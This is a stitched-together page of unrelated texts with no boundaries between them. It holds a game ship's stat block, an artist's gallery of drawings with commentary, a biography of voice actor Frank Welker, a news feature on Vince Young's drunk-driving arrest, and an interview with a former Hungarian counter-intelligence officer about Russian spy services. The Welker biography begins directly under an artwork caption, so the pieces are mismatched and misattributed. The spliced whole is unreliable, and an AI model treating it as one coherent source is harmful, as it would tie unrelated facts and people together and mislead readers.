Resistances Defense Hitpoints EM Explosive Kinetic Thermal Shield: 2,073 HP 73.75 % 85 % 81.25 % 77.5 % Armor: 5,600 HP 60 % 60 % 60 % 60 % Structure: 2,800 HP 0 % 0 % 0 % 0 %
Movement
Orbit Range: 45,000 m
Orbit Speed: 155 m/s
Chase Speed: 1,240 m/s
Targeting
Attack Range: 101,250 m
Signature Radius: 150 m
Scan Resolution: 330 mm
Attack Targets: 1
Locked Targets: 4
Sensor Strength
Gravimetric: 20 points
Ladar: 20 points
Magnetometric: 20 points
The following pieces have been removed from reproductive circulation but are available for your viewing enjoyment here.
Fate Tectonics (2013) - Sold original: anonymous Chicago collector
A shift in the apocalyptic landscape attempts to tear apart the rooted couple. They cling until their last, aflame with love and doom.
The Arrow that Flies By Day (2013) - Original available for purchase - contact Sarah.
With this piece I wanted to bring motion and color together in an evocative, yet simple scene. The title is taken from Psalm 91, however, with responsibility in mind, my intent is that "the arrow" is really the self. Enmity of God is a constant biblical theme, but before that can be addressed, man's enmity of himself needs to be explored. How does one get saved from oneself if his own (supposedly eternal) fate rests in his own extremely flawed hands? Perhaps, in differing degrees, we're all naturally set up for beautiful, flaming destruction.
High Winds (2012) - Original available for purchase - contact Sarah.
This piece gave me difficulty from start to finish; the purple ink atop airbrushed green paint took days and days to dry. That'll teach me to try a more abstract approach. Whether you think this air rush is taking place in the High Sierras or deep in the high seas, it matters not to her (fragmented) highness.
Sequiteur (2010) - Sold original - Colleen Curry, Plainfield, IL
Non sequitur - non + saboteur = Sequiteur
To follow an order + one who commits sabotage = order by force on behalf of a self-serving cause.
The stagecoach and masthead represent antiquated masculine invention. The fire is the impending destruction of the status quo. The woman’s head embodies the feminine gender forced into specific direction through the ages, void of extremities and power. Women’s hair has often mirrored their role in societies of olde; each strand quietly in its place. Tightly wound, organized on the surface and pulling back the woman’s head in a locked position, so she is able to see only one way. But on the other side the internalized pressure builds: there is an inevitable explosion from the valve, an exhaust of her excess madness.
Years ago I had loathed pink. I refused to use it as a large color component simply because I thought it was too "little girly". Then I grew up and realized my mistake; I was conditioned by a society to see a color not only as gender-associated (my own, no less) but actually negative. In using more shades of pink in my work it started to become for me a "power color" rich with nuance, and strength.
The Gospel According to Thecla (2012) - Sold original - Courtney Bollino, Wilmington, IL
The only known record of Thecla, a virgin saint of the early Christian church and unsung biblical radical feminist figure, comes from the apocryphal Acts of Paul and Thecla (circa 2nd century). A cult figure in the Eastern church, Thecla is a protomartyr among women viewed as equal to the apostles. As the story goes, she was miraculously saved from being burned at the stake by a sudden storm. Later on, a nobleman tried to rape her and, after fighting him off, she was put on trial and found guilty of assaulting him. She was sentenced to be stripped naked and eaten by lions, but was saved as the female lions turned to protect her from the male lions. She then committed the unthinkable and revolutionary act of baptizing herself in a nearby vat of water. Once she did this, a ring of fire sprang up, surrounding her and keeping her safe from harm. She went on to live a long monastic life.
This is a story where various attempts at subjugation were repeatedly quelled by a woman who was protected by an obviously feminist God. To no surpise, though, this story has been held back from the mainstream books of the bible through the decisions of...other men.
Long live Thecla.
Ghosts of the 4th Dimension (2012) - Original available for purchase - contact Sarah.
This drawing was inspired by Carl Sagan's educational explanation of a 4th dimension. We are not even in the infancy stages of knowing and if our energy does go on after death in an organized manner perhaps it occupies this 4th plane. My imaginative gears keep turning over this possibility.
Hapax Legomenon (2011) - Original available for purchase - contact Sarah.
A word that occurs only once in a written text, Hapax Legomenon relates a fascination with the juxtaposed interconnectedness / disconnect of the universe and the degree to which we can describe these ideas. A picture is worth 1,000 words, but this one is worth only 1.
Shadow & Substance (2012) - Original donated to Inspiration Corporation Chicago
"You unlock this door with the key of imagination. Beyond it is another dimension: a dimension of sound, a dimension of sight, a dimension of mind. You’re moving into a land of both shadow and substance, of things and ideas; you’ve just crossed over into the Twilight Zone.” – Rod Serling
Inspired by the sheer wonder of existence as well as this brief musical composition: Happy Flight by Klaus Doldinger
Eon Somnia (2012) - Sold original - Douglas Meese, Chicago, IL
Death on the installment plan, sleep is that nightly reminder of how we lack control over this human shell and all the electrical impulses charging through it when we're not entirely behind the wheel. A time to reset and recharge, a time to dream of the glorious and the grotesque. Upon waking, dreams range from kind to cruel and resonate with one not at all, or for minutes, hours, days, weeks, or years. Perhaps the recesses of sleep are really a "Twilight Zone" playground of sorts between the living and the almost unliving.
Glamours of the Deep (2009) - Sold original - Abigail McNabb, Mazon, IL
Continuing fascination with the movement of the ocean inspired this piece. Looking into sea water, one can see a plethora of colors, which I chose to separate out into their own strands. There are numerous references that personify the ocean as female and I worked in these three siren Glamours emerging from their cool depths of blue and purple dreamery.
Force Majeurette (2011) - Sold original - Michael & Kristy Hayden, Chicago, IL.
Feminizing the title, this piece is an interplay of color and negative space. I paired opposing feelings of calmness in the contemplative Majeurette with the erratic explosion of Her Force, like the lovely dichotomy of perfectly manicured hands swinging a huge sharpened axe.
Fathoms (2011) - Sold original - Colleen Curry, Plainfield, IL
I sought to re-imagine a ship on the ocean's floor stylized to near-unrecognition and I think about how a passing vessel might simply see the crow's nest peaking above the surface and just take it for an empty bucket and flag. This was joyful for me - and as therapeutic as a coloring book. A measurement of depth, I assigned each fathom its own personality and flow.
And so it goes...what matters always lies beneath, doesn't it?
The Anthraxian (2012) - Original available for purchase - contact Sarah.
A take on Pestilence, one of the Four Horseman of the Apocalypse symbolizing plague in some interpretations of the Book of Revelation, The Anthraxian is my own slightly more colorful version. The tundra mammoth of destruction moves slow in the hands of this jester rogue, but it does move nonetheless. All they have is time, time to inch on toward The End.
Anima Lux (2010) - Sold original - Pam McNabb, Morris, IL
A texture collective, Anima Lux (soul light) was also formed to "shape" the feeling of the subject, even beyond the second dimension. I am attracted to the pairing of blues and browns (water and earth) as well as trees and ships. This ship is made of trees – it just uses the element of water differently. I parallel this connection to thefirst law of thermodynamics: being that energy is neither created nor destroyed but only changes form. I personally believe our core consciousness (soul) is a form-changing (or even shape-shifting) energy. I like to think that once we "shuffle off this mortal coil", we'll navigate ethereal oceans in a new and quite different Age of Discovery.
Lithium of Star Anise (2009) - Sold original - Brian Cicirello, Chicago, IL
An homage to science, this piece is shaped like the Periodic Table of Elements and combines nature, alchemy and physiology in a stream-of-consciousness-like connection. Lithium has many forms and purposes and is often used as a mood stabilizer. Star Anise is a spice flavoring such things as licorice and absinthe. I could see a similarity in the Lithium (Li) atom and the shape of the Star Anise pod and decided to invite them both to my two-dimensional party. Again, due to size, detail restrictions apply. Ironically, I happened to introduce this piece to the world on Nikola Tesla's birthday - he sits in the corner with his coil.
Inverno Mascherato (2007) - Sold original - Chris & Jennifer Crnkovic, Plainfield, IL
Italian for "winter masquerade", this piece gives you a tranquil glimpse into a woods clearing that echoes with both aristocratic dignity and a bleak longing. I used a neutral-colored illustration board and a muted color scheme and the results were very Moonlight Sonata-esque. Divided by a stream and rooted into either bank are the masked tree figures that reach out to each other in a frozen Waltz. The intertwining of their extremities is as close as they’ll ever be to one another. It’s not so much the distance that separates them (as it tends to do for humans) but rather, how deeply they are rooted to where they've grown, unable to move. The costume and hairstyles are reminiscent of the more romantic eras, that I can't seem to purge from my mind. I basically grew up in a forest, so fewer things are as swooning to me as statuesque trees covered in snow, deathly still under the moonlight.
Harbor No Illusions (2008) - Sold original - Mark Koppenhoefer, Chicago, IL
Everyone has journeys. Journeys of self discovery are the most adventurous. My 30-year journey out of the lands of organized religion was a tumultuous one. Rough like the ocean with an ocean's worth of salty tears. The wrecked ship "Faust" represents my dramatic divorce from Catholicism. The ocean waves and faces in the rocks provide a backdrop of metaphor that helped me define and close this long chapter of my life. Thankfully, I now embark on a healthier quest of spirituality that has brought me closer to God - and this new journey is on solid ground. Because of this piece's size, the details may be difficult to see in pixels and vectors. A condensed online version can never really replace seeing the real thing in person, but I guess that goes without saying. I provide you with a mere fleeting glimpse...
Belladonna Halcyon (2005) - Sold original - Chris & Jennifer Crnkovic, Plainfield, IL
A Gestalt of meanings comprise this work; the puzzle pieces indicate a coming apart of sorts, but they float peacefully. A comfortably numb Belladonna drifts off into oblivion in her little ship that seems to absorb her. Flowing hair, garments and sails adorn the maiden and regardless of where she's headed, she is going there peacefully.
Lure of the Xanadu Vapors (2002) - Sold original - John & Pam McNabb, Morris, IL
My mom and dad's favorite, this piece was one I had kicked around in my head for four years prior to creating it. Using a straw to blow acrylic paint around the illustration board, I brought my spider-like trees to life and using the white of the board, I shrouded the scene in a winter fog. Camouflaged in the trees are several vapors (ghosts) who have set up the fire to lure the entity with the lantern (another vapor, perhaps) to arrive and inspect. What happens next is left to the imagination.
Storm in a Teacup (2001) - Sold original - Jennifer Skvarla, Plainfield, IL
Inspired by a line in a song by Garbage, this piece combines several random elements that I favor: tea, the ocean, detailed hair with unexpected structural elements, colorful bubbles, and an environment of mixed metaphors. Using negative white space to cushion the softness of the gray steam tendrils, the tea - a symbol associated with being "proper" - spills through the crack in the cup gaining momentum in reverse, waving into a tempest in time with the thunderous cellist above the tidal waves, a shiny tea kettle and some happy bizarre-ness. I liken the scenes I draw to someone walking down a hallway of open doors and just quickly glancing inside to see a single moment of something interesting but inexplicable happening.
Toys in the Attic (2006) - Sold original - Toby McNabb, Mazon, IL
In the ongoing struggle of good vs. evil, there are always those imaginative wars that wage in a child's room at night. When I was little I hated the doll staring at me at night from across the room, or the thought of that toy clown pulling me under the bed like in the movie Poltergeist. I took that theme and combined it with your standard Heaven vs. Hell conflict. The crucifix in the window shines protection on this little one while the plastic demon-symbols and rats inspired by The Nutcracker encroach. I began this piece Christmas 2005 (with my new set of Prismacolors) and finished Halloween 2006. The floor alone took roughly 18 hours. The song I recommend to pair with this piece (like a good wine) is Paint It Black by The Rolling Stones.
Shypovfuls (2001) - Sold original - Cathy & Jeff Godke, Itasca, IL
One of my more energetic and happier works, this lighter piece is a joint effort between the white space and the blending of colors to create a fun atmosphere. Each person on board this ship was injected with an individual personality and the sub-sea level view was an experiment in visual depths, inspired by a picture book I had as a child called "Once Upon a Pirate Ship". The title's naming convention is also an exercise in creative freedom. The ship of fools is an allegory that has long been a fixture in Western literature and art. The allegory depicts a vessel populated by human inhabitants who are deranged, frivolous, or oblivious, passengers aboard a ship without a pilot, and seemingly ignorant of their own direction.
The Killing Frost (1999) - Sold original - Brian Cicirello, Chicago, IL
My original sketch was entirely different than how this piece turned out, but the initial concept never changed. I took advantage of the illustration board's white space, manipulating it as snow. As detail-heavy as parts of this piece are I didn't feel scenic pressure to complete the body of Frost. The anthropomorphic trees and rocks that sigh and bleed, in deathly distress, accompany the mistress on her chilling journey into the afterlife. The image of the man Frost was very much inspired by the look of Gary Oldman's character in Bram Stoker's Dracula and the title was inspired by Pink Floyd's haunting song Terminal Frost.
Lilacs, Grapes, and Violets (1998) - Sold original - Abigail McNabb, Mazon, IL
Franklin Wendell Welker (born March 12, 1946) is an American voice actor best known for his role as Fred Jones from the Scooby-Doo franchise since its inception in 1969 and as the voice of Scooby-Doo since 2002. He is also known as the voice of Megatron in the Transformers franchise and as the voice and vocal effects of Nibbler on Futurama.
In 2016, Welker was honored with an Emmy Award for his lifetime achievement.
Early life [ edit ]
Welker was born in Denver, Colorado, on March 12, 1946.[1] He moved to California and attended Santa Monica College in Santa Monica, California, where he majored in theatrical arts. In 1966, he received honors for his performance as the Cowardly Lion in the college's theater production of The Wizard of Oz.[2] During his transition between college and his voice-acting career, his first voice-over role was in a commercial for Friskies dog food. The producer's girlfriend informed him of auditioning for Hanna-Barbera during the casting of Scooby-Doo, Where Are You!, where he initially auditioned for the title character (and, according to Casey Kasem, the role of Shaggy Rogers, as well)[3] but instead won the role of Fred Jones.[4]
Career [ edit ]
Voice-acting career [ edit ]
Welker's first voice role came in 1969, as Fred Jones in the Scooby-Doo franchise. Welker has voiced Fred in almost every series and incarnation of the Scooby-Doo animated franchise (with the exception of A Pup Named Scooby-Doo) and has also provided the voice of Scooby-Doo since 2002.[5] As of 2014, Welker is the only remaining original voice actor still involved in the series.
His next major character voice was for Wonder Dog (which was inspired by Scooby-Doo) and Marvin White on the 1973 series Super Friends (also produced by Hanna-Barbera). That same year, he played Pudge and Gabby on DePatie-Freleng Enterprises' animated series Bailey's Comets. Welker continued to provide voices for many characters for Hanna-Barbera for several years, which include Jabberjaw, Dynomutt, Dog Wonder, and the Shmoo in The New Fred and Barney Show and its spin-off, The Flintstones Comedy Show. Frank Welker described the voice he used for the Shmoo as "a bubble voice" (one he would later use for Gogo Dodo in Tiny Toon Adventures).
In 1978, he played the title character on Fangface and later in its spin-off, Fangface and Fangpuss, and also voiced Heckle and Jeckle and Quackula on The New Adventures of Mighty Mouse and Heckle & Jeckle, and Droopy on The Tom and Jerry Comedy Show.
During the 1980s and 1990s, Welker became a very busy actor, providing the voice for many popular cartoon characters in multiple series, including Brain, Doctor Claw, and M.A.D. Cat on Inspector Gadget; Mister Mxyzptlk, Darkseid, and Kalibak on Super Friends: The Legendary Super Powers Show; Wild Bill, Dreadnok Torch, and various G.I. Joe heroes and villains; Scooter on Challenge of the GoBots, Ray Stantz and Slimer in The Real Ghostbusters; the villainous Dr. Jeremiah Surd on The Real Adventures of Jonny Quest; Bubba the Caveduck and two of the Beagle Boys (Bigtime & Baggie) on DuckTales; multiple voices on The Smurfs, including Hefty Smurf, Poet Smurf, and Peewit; and various characters on Captain Planet and the Planeteers.
He also voiced various characters on The Simpsons, such as Santa's Little Helper, Snowball II, and various other animals from 1991 to his departure from the show in 2002. Welker provided both the speaking voice and animal sounds for Nibbler on Matt Groening's Futurama. He provided the voices for Mr. Plotz, Runt, Ralph the Guard, Buttons, and other characters on Animaniacs, Gogo Dodo, Furball, Beeper and others on Tiny Toon Adventures, Pepé Le Pew on The Sylvester & Tweety Mysteries, and McWolf the main antagonist to Droopy and his nephew Dripple on Tom and Jerry Kids Show and Droopy, Master Detective.
Welker has also created the vocal effects for many animals and creatures in films, including the monkey Abu in Aladdin (1992), its two sequels, and the television series, Arnold the Pig in the television film Return to Green Acres (1990), the Martians in Tim Burton's Mars Attacks! (1996), and the penguins in Mr. Popper's Penguins (2011). He performed Spock's screams in Star Trek III: The Search for Spock (1984) and voiced The Thing in The Golden Child (1986), Jinx the robot in SpaceCamp (1986), Totoro in the 2005 English version of Studio Ghibli's film My Neighbor Totoro (1988), Alien Sil in Species (1995), Malebolgia in Spawn (1997), and Gargamel's cat Azrael in Sony Pictures Animation's live action/animated film versions of The Smurfs.
In 2006, he began voicing George in the popular children's series Curious George. He also voiced George in the animated film of the same name that same year. In 2007, Welker became the new voice of Garfield, succeeding the original actor Lorenzo Music, who died in 2001 (Welker and Music had previously worked together on The Real Ghostbusters and the original Garfield and Friends). Welker voiced Garfield in Garfield Gets Real (2007), Garfield's Fun Fest (2008), Garfield's Pet Force (2009), and on the series The Garfield Show, which ran from 2008 to 2016. In 2011, he provided the voice of Batman in a Scooby-Doo crossover segment of the Batman: The Brave and the Bold episode, "Bat-Mite Presents: Batman's Strangest Cases!". In the same episode, he also voiced Batboy, the classic Mad Magazine Batman spoof, originally created by Wally Wood.
Welker has also provided voices for many video game characters, most notably Disney's Oswald the Lucky Rabbit and The Shadow Blot in Epic Mickey and its sequel Epic Mickey 2: The Power of Two,[6] as well as Zurvan, also called the Ancient One, on StarCraft II: Heart of the Swarm. He also provided the voice of the mad mage Xzar for the Baldur's Gate video game series, and reprised his role from Avengers Assemble as Odin for Lego Marvel's Avengers.
Live-action acting career [ edit ]
Welker's first on-camera film role was as a college kid from Rutgers University who befriends Elvis Presley in The Trouble with Girls (1969). His next film role was in the Disney film The Computer Wore Tennis Shoes (1969), which starred Kurt Russell (he would also appear in the film's sequel, Now You See Him, Now You Don't, in 1972). He later co-starred with Don Knotts in Universal's How to Frame a Figg (1971), and appeared in Dirty Little Billy (1972).[4]
On-camera television appearances included roles on Laugh-In, Love, American Style, The Partridge Family, and The Don Knotts Show. He played a prosecutor in the highly acclaimed ABC special The Trial of General Yamashita and as Captain Pace beside Richard Dreyfuss' Yossarian in Paramount Television's pilot Catch-22. He also appeared on Rowan & Martin's Laugh-In, The Mike Douglas Show, The Tonight Show, The Merv Griffin Show, The Smothers Brothers Show, The Burns and Schreiber Comedy Hour, Laugh Trax, and as one of the cast members in the special of That Was the Year That Was (1985) with David Frost.
Frank also played an on-camera role as a voice actor in a 1984 episode of Simon & Simon. In The Duck Factory, he played a rival actor trying to steal the role of Dippy Duck from fellow voice actor Wally Wooster (Don Messick). In recent years, he appeared in Steven Soderbergh's film The Informant! (2009) as Matt Damon's father.
In 1978, Frank Welker appeared on The Dean Martin Celebrity Roast to George Burns. While saluting Burns, he showed his abilities as an impressionist by honoring George Burns with the voices of Walter Cronkite, Henry Kissinger, Muhammad Ali, David Frost, and Jimmy Carter.
Transformers [ edit ]
In the 1980s, Welker voiced many recurring characters in the original Transformers animated series. He voiced several Decepticons, including the leader Megatron, Soundwave, Skywarp, Mixmaster, Laserbeak, Buzzsaw, Rumble, Frenzy, Ravage, and Ratbat, as well as Autobots Mirage, Trailbreaker and Sludge. He took on the role of Wheelie in The Transformers: The Movie (1986), and in the post-movie episodes took over the role of Galvatron (from his Star Trek III castmate Leonard Nimoy) and also voiced Chromedome and Pinpointer.
Welker returned to two of his Transformers roles when he portrayed Megatron and Soundwave as part of a spoof in a third-season episode of Robot Chicken, which aired shortly after the release of the first live-action film. In the second Transformers film, Transformers: Revenge of the Fallen (2009), he joined the voice cast and reprised the roles of Soundwave and Ravage, and also provided the voices for Grindor, Devastator, and Reedman. He would again reprise his role as Soundwave, as well as take on the roles of Shockwave and Barricade, in the third film, Transformers: Dark of the Moon (2011). And, in Transformers: Age of Extinction (2014), he would reprise his role as Galvatron, albeit with a much different voice from his performance in the 1980s Generation One series. Welker reprised the voice of Megatron in the fifth installment, Transformers: The Last Knight (2017) taking over from Hugo Weaving who played Megatron in the first three live-action Transformer films.
He does not voice Megatron in the first three live-action films (Hugo Weaving was chosen for the role instead). However, Welker did voice Megatron in the two video games based on the first two films, as well as the theme park attractions at Universal Studios Singapore, Universal Studios Hollywood, and Universal Studios Florida, Transformers: The Ride.
Welker also reprised the roles of Megatron and Soundwave in the series Transformers: Prime (retitled Transformers: Prime – Beast Hunters for its third season) and the Transformers: Generation 1 video game Transformers: Devastation.[7]
It is difficult to watch, especially to those who lionized the Longhorn legend.
Young is clearly impaired, his speech as wobbly as his body. Perhaps that's why the Austin police officer had such difficulty extracting the 6-5 driver from his white Chevy pickup truck shortly before midnight on January 24, 2016.
You can almost feel Young's heroic veneer dissipate into the night, replaced by a toxic, boozy haze. He does not turn physical or belligerent, but nor does he cooperate.
The tape ends with the 2006 NFL offensive rookie of the year refusing to undergo a preliminary breathalyzer test. The officer tosses the device onto the hood of his police vehicle, pulls out a set of handcuffs and apprehends Young.
Officials determined his blood-alcohol concentration that night was 0.246, three times the legal limit. He was sentenced to 18 months' probation, fined $300 and ordered to complete 60 hours of community service. An ignition interlock - essentially a car breathalyzer - was installed in his vehicle and he was required to attend drunk driving classes.
Fortunately, Young was not harmed. Neither was anyone else.
Rebuilding reputation
The damage done to his reputation and sense of pride? There is no real way to measure those intangibles. Even so, Young is working to restore the faith and goodwill he built up as an iconic football figure.
"What really hit me was the videos and the classes I took," Young said Wednesday by phone. "What really opened my eyes, not just the point of drinking and driving, but how you can really injure someone else driving while you're intoxicated. That really hit me because of hearing the stories of different younger kids in college. Some kids weren't even drinking, somebody else hit them and they lost their life or were not able to even walk again. So those stories really hit home."
About a year ago, Young struck up a friendship with Blake Garrett, founder and CEO of Aceable, a mobile education platform that "focuses on creating affordable, engaging and convenient educational content across all devices."
For Young, this "Keep the Drive Alive" campaign was a way to both make amends and transmute a painful experience into a positive message. The former quarterback now stars in a digital public service announcement and appears in many of the company's mobile driving courses.
"Vince and I have known each other for about a year and started just talking about how we could take his impact in our community and the community in Texas and maybe beyond that to change habits with people around driving," Garrett said. "Vince graciously has shared a pretty dramatic experience of his own with others to help them learn from a mistake that he made. The impact is huge."
Young remains an occasional presence on the Longhorn Network and is employed by UT's division of diversity and community engagement, where he works alongside college students from low-income backgrounds. His short-lived comeback attempt with the Canadian Football League's Saskatchewan Roughriders ended in June with a hamstring injury, the final note of a winding playing career.
Inevitably, someone will bring up the 2006 Rose Bowl in Young's presence, a tale he's happy to tell for the umpteenth time. His face doesn't light up when he tells this newer, bleaker story of alcohol and reckless decisions and handcuffs. But it's one he has grown more comfortable reliving, if only because of the good that might come of it.
"To me, most people just talk about it, but they're not about it," Young said. "I'm really about that life. When I get involved with something, I'm 110 percent involved. One of the things I take pride in is backing up what I'm talking about. This is not going to be your only time hearing about this. You will see me doing more and more and more as the years go on.
"I just feel like I'm very passionate about this. And when I'm involved with something, I'm really involved with something. You'll see me more on videos, on TV, speaking about this all the time. This is something serious that we need to put in everybody's mind."
Important message
That dark scene from January 2016 will never be scrubbed from the web. It remains widely discoverable, a painful reminder for Young and those who extolled him.
The hope is in the near future, when someone searches "Vince Young DWI," they'll discover video of a remorseful figure beseeching viewers not to repeat his mistakes.
Index: What can we know about your career?
Ferenc Katrein: I worked for the Hungarian National Security Office (NBH) and then for the Constitution Protection Office (AH) between 2000 and 2013. My main areas of expertise were extremism, mainly the far-right and international terrorism, and counter-espionage. The highest-ranking position I reached was executive head of operations, I later became chief adviser to the director general. I currently live abroad as a civilian.
Did you tell your family about your job?
My close relatives knew where I worked. But they had no idea what exactly my job was, and they didn't know why and where I had to travel from time to time. This interview will surprise them too.
Why did you leave the service?
Defining some terms Covert agents and deep cover illegal operatives ('illegals'): The quasi-legal representatives of intelligence are those covert agents (spies) who are usually disguised as diplomats, soldiers etc. and are delegated to a foreign country, for example to an embassy. They are openly working for a foreign state and only their real activities are hidden. On the contrary, illegal agents completely infiltrate the given country’s society, often even the fact that they are foreigners is hidden. Military and civilian national security agencies: In most countries, the military and non-military (civilian) national security agencies work as separate organisations. The former is usually overseen by the military, the general staff and the Ministry of Defence, while the control and structure of civilian agencies can be more varied. The services may deal with foreign intelligence (spying, influencing, etc.) or domestic issues (counter-espionage, counter-terrorism, countering groups threatening the constitutional order), and there are integrated secret services as well, which do both at the same time. Hungarian civilian intelligence agencies, AH, NBH, IH: The Hungarian civilian counter-intelligence agency was the National Security Office (NBH) between 1990 and 2010, which the Fidesz government renamed to Constitution Protection Office (AH) in 2010. Their even earlier predecessors before 1989 were the Ministry of Interior’s III/II department (counter-espionage) and the III/III department (internal security). The tasks of the AH: “It reveals and counters foreign secret service efforts and activities harming or threatening Hungary’s sovereignty, and its political, economic, defence or other interests; reveals and counters undercover activities aimed at changing or disrupting Hungary’s constitutional order with illegal tools; reveals and counters efforts to commit terror attacks by foreign powers, organisations or individuals”. Counter-terrorism operations were transferred to the establishment of the Counter-Terrorism Centre (TEK) in 2010, the competences of different organisations have not been clear since then. The Hungarian foreign intelligence agency is called Information Office (IH). Hungarian military services, KNBSZ, KFH, KBH: Since 2012, Hungary’s military secret service has been the Military National Security Service (KNBSZ), which was established by a merger. From 1990 to 2012 military intelligence or espionage worked separately, this was the Military Intelligence Office (KFH). “It obtains, analyses and passes on knowledge on military policy, military industry and military-related information affecting security policy originating from abroad or related to foreign countries that are needed for governmental decisions” – this was the task of the independent KFH. The Military Security Office (KBH) was responsible for counter-intelligence, its tasks were as follows: “it reveals efforts suggesting an offensive intention aimed at Hungary; reveals and counters foreign secret service efforts and activities harming or threatening Hungary’s sovereignty”. The established practice is that the military security agency monitors and neutralises those in “uniforms”. For example, they deal with agents of foreign military intelligence (like Russia's GRU) as well as paramilitary extremist groups. Russian secret services, KGB, SVR, FSB, GRU: The Soviets’ civilian secret service, the KGB has several successor organisations in contemporary Russia, these often compete with each other. The most important of them: the SVR is dealing with classic foreign intelligence activities, and the FSB, which originally specialised in domestic preventive activities but has since overextended its competences considerably, is really active and aggressive in the “near abroad” and elsewhere. The other agency of the USSR was the GRU, the military secret service of the Soviet Army General Staff, which survived the democratic transition organisationally as well and it currently counts as the largest foreign-focused intelligence agency of Putin's Russia. It was mostly the GRU behind the hacking of the Democratic National Committee (DNC) in the US, but they also had a huge role in the occupation of Crimea. In Hungary, it was also them who were in contact with the neo-Nazi organisation named Hungarian National Front (MNA) that became famed for its role in the murder of a police officer in Bőny. The two sides regularly held joint drills.
I felt that the professional values and principles I follow and grew up with were not completely realized in the last period of my service. Therefore, I thought I would not be able to identify with things that do not suit my professional approach.
Do you have knowledge of individuals specialised in countering Russian secret service activities being sidelined within the service?
Rotating experts working in these fields is especially harmful. Sadly, several internationally recognised experts were redirected to other areas referring to constant reorganisations and so-called optimisation.
Did you feel that the political attitude towards Russia changed and that the services were obstructed on the political level?
Yes. We were not allowed to perform active operations that were necessitated by professional considerations and international cooperation was less intense than in previous years. But I must emphasise that I was an insider until 2013, there is a new leadership now who I cannot talk about. The current director general cannot possibly have ties to Russia due to his age.
On a scale of one to ten, how serious do you think the Russian threat currently is in Europe?
Nine or ten, the highest level. I followed the events in Cologne closely, where it could be seen how beautifully the whole thing was built up.
A secret service offensive is being waged against the European Union
and influence operations in which the Russians have serious professional experience and traditions are part of this. Russia plays a part in aggravating the migration crisis and especially in using it for propaganda and gaining influence. When it comes to the events in Cologne or other sexual offences they are active in emphasising that the German or Western authorities and the media are attempting to cover up these crimes.
The majority of the offenders in Cologne were migrants who had arrived earlier and they were in contact with criminal groups.
This is true and this was communicated in an interesting way in Russian media and others taking stories from it. They were not newly arrived migrants, but in that interpretational environment it did not matter. The next stop was the Lisa case, where the Russian side reacted to phantom stories on a really high level, including Russian Foreign Minister Sergei Lavrov.
You were dealing with counter-espionage until 2013. Did you know about Russian activities in Hungary?
Of course, as I was working on this field.
Can you estimate how many Russian agents are currently in Hungary? Ex-Prime Minister Ferenc Gyurcsány said 600-800 recently, but he offered no proof for this.
The phrase ‘agent’ is professionally highly inaccurate. If he talked about active intelligence officers, this number is highly overestimated. But if we count the complete web of connections employed by Russian intelligence to serve Russian interests, including dark intelligence, this number looks more realistic. The accurate number is only known by the sending agencies, the Hungarian counter-espionage agency only talks about ‘individuals suspected of espionage’, it is how it categorises diplomats and non-diplomatic (service) staff accredited to embassies. Besides traditional positions offering diplomatic immunity it is worth it to map individuals connected to different state-owned or state-backed companies, airlines, travel agencies, cultural centres, educational institutions, and state-owned media based on professional counter-intelligence considerations.
Furthermore, it is also hard to say an accurate number because these secret services rather think regionally than on a country-by-country basis. Consequently, it can happen that a diplomat accredited to Hungary acting as an intelligence officer under a diplomatic cover works in neighbouring countries, thus he is irrelevant from a Hungarian viewpoint. Obviously, it must be added immediately that counter-espionage is conducted in a system of alliances, therefore, Hungary as a NATO and EU member has a serious responsibility in holding its own when the alliance is attacked by foreign intelligence or attempts are made to infiltrate it.
How many of the about 50 diplomats of the Russian embassy in Budapest do you think are intelligence officers and how do you find them?
Experience dictates around what share of staff at a given embassy could be ‘individuals suspected of espionage’, which of course depends on the geopolitical and political situation of a destination country. I would say 30-40% with the abovementioned criteria and I repeat we cannot narrow this down only to embassies. Although immunity is only granted by diplomatic passports, the service passports must be checked as well, be it one belonging to a journalist of state-owned media or an employee of a cultural centre. Their national security checks are done individually, which includes checking their pasts in the allied database and a professional risk assessment. Following this, we can talk about which category we put the given person in and what oversight strategy we choose.
Fotó: Huszti István / Index
How different are the profiles of the three Russian secret services, the FSB, the SVR and the GRU in their activities in Hungary?
All three are present in Hungary, earlier we were in contact with them through a liaison officer. What is advisable to know about the world of secret services is that there could be joint issues in which services from opposing sides can and will cooperate with each other. The common denominator with Russians could be fighting organized crime, and mostly counter-terrorism, where we even make a deal with the devil if it is needed and if it is in our interest. Counter-espionage is a much more rigid and closed affair in this regard.
The SVR deals with more traditional intelligence tasks like science, technology, media and the EU. The FSB is the chained dog, they are the ones responsible for the technical-operational protection of Russian foreign representations, diplomatic delivery services, and securing operational actions, monitoring, etc. is also their task. The GRU is specialised in gathering information on NATO and militaries, and if we take a look at what happened in Montenegro recently, the attempted assassination and coup, they are also responsible for the dirty jobs. It is a visible requirement for them to provide a kind of readiness to take action supporting Russian interests in a given country.
In Hungary, it was the GRU that was in connection with the István Győrkör-led neo-Nazi, paramilitary organisation the Hungarian National Front (MNA), they held joint drills with undercover Russian diplomats. Was this also needed to provide readiness to take action and if it was, what does this mean exactly?
I would leave the answer up to the imagination of the reader. But by readiness to take action we mean anything from provoking street riots through the disruption of public services – e.g. news communication or the media – to physical atrocities. All this is suitable for testing a country’s security systems or authorities. Who, when, how and with what forces reacts to these, who takes part in countering these, what the hierarchy for making decisions is and what the decision-making processes are – a lot can be mapped by these actions.
Now that you mentioned street riots: did the services forecast the violent events in 2006? Or at least that the far-right has such a high potential for mobilisation and violence?
I was working in international counter-terrorism at the time, so I didn’t have great insight to what happened.
However, what I did see in 2006 was how our leaders panicked, which leaders stepped up to the task, and which leaders decided to check in to the hospital.
That’s when I realized that our service is asleep at the wheel, and that our ability to respond to such incidents needed serious work — and that’s something we were able to correct more or less and become more proactive on. Until that point, this aspect of service was very dull, and our instinctive reflex for self-defense wasn’t working well.
Were there really leaders who decided to go to a hospital to avoid responsibility?
Yes. You can assume it was not easy from then on.
Returning to Győrkös: after the murder of a police officer in Bőny, the Counter-Terrorism Centre (TEK) dissolved MNA practically in a few weeks. Why did the murder had to happen beforehand?
We cannot push our own responsibility to others, as we also dealt with this area. But it shows how the philosophy of the police and the secret service are different, and since prevention has been transferred to the Ministry of Interior again, the former is the dominant one. Thus, something has to happen, a crime, a murder for the mechanism to start. But obviously this has been going on since the ‘90s, and the passivity of the agencies also played a role in this.
We can then say that action-orientedness is not one of the strengths of the Hungarian agencies.
Action should be taken much more dynamically, but politics defines the agencies.
What could explain in professional terms that Hungarian authorities knew about the connections between the MNA and the GRU and that Győrkös’s organisation also possessed weapons, yet they did not intervene for years?
No professional reason can explain this. Presumably we did not want direct confrontation with a foreign intelligence agency or country.
